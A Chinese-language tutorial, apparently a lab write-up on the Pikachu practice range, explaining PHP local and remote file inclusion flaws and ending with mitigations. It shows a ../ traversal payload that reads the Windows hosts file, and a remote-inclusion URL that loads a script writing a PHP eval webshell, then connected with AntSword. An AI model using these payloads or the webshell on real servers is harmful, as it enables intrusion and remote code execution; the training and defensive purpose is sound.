在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用”包含"函数功能。
比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上
一句<?php include fuction.php?>就可以调用函数代码。
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。通过include()或require()语句,可以将PHP文件的内容插入另一一个PHP文件(在服务器执行它之前)。
include和require语句是相同的,除了错误处理方面:
require会生成致命错误( E_ COMPILE ERROR )并停止脚本
include只生成警告( E WARNING ) ,并且脚本会继续
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞: 仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞: 能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
File Inclusion(local)
当我们查询的时候,可以观察到url上出现file1.php
这些文件都是后台存在的文件。但是由于这个文件名是前端传向后台的,也就意味着我们可以修改这个文件。
我们可以猜测一下后台的操作系统环境(靶场使用windows)在windows中有很多固定的配置文件,使用许多的../../../../../../使访问路径到根目录(可以多敲几个,最后都会跳到根目录)我们将文件名替换
../../../../../../../../../Windows/System32/drivers/etc/hosts
访问一下,爆出了hosts文件的内容
通过这样路径访问可以猜测到的系统文件,可以得到想要的一些关键信息。
File Inclusion(remote)
远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
我们发现,url中变量 filename=include/file1.php
它实际上提交的是一个目标文件的路径。我们可以改成一个远端的路径,读取远程文件
先尝试包含一下百度,看看能否响应。
http://192.168.1.157/pikachu-master/vul/fileinclude/fi_remote.php?filename=https://www.baidu.com&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
顶部回显出现百度一下,这样我们可以让它访问我们指定的地址并加载其中的恶意代码,例如:
在我们本地的下有个原先dvwa的靶场地址,我们在网站目录中写入一句php脚本1.txt,保存在网站WWW\DVWA-master\dvwa目录下
<?php
fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>
而后访问连接变量赋值 http://127.0.0.1/DVWA-master/dvwa/1.txt
http://192.168.1.157/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/DVWA-master/dvwa/1.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
会解析文本中的php代码并生成一个shell.php的php一句话木马
前端未回显什么,后台可以看到在 WWW\pikachu-master\vul\fileinclude下生成了一个shell.php的文件
使用蚁剑远程连接这句话,密码123
成功连接
文件包含漏洞的防范措施
在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。
1.过滤各种./. ,http:// ,https://
2.配置php.ini配置文件:
allow_ url fopen = off
Allow_ url include= off
magic quotes_ gpc=on //gpc在
3.通过白名单策略,仅允许包含运行指定的文件,其他的都禁止。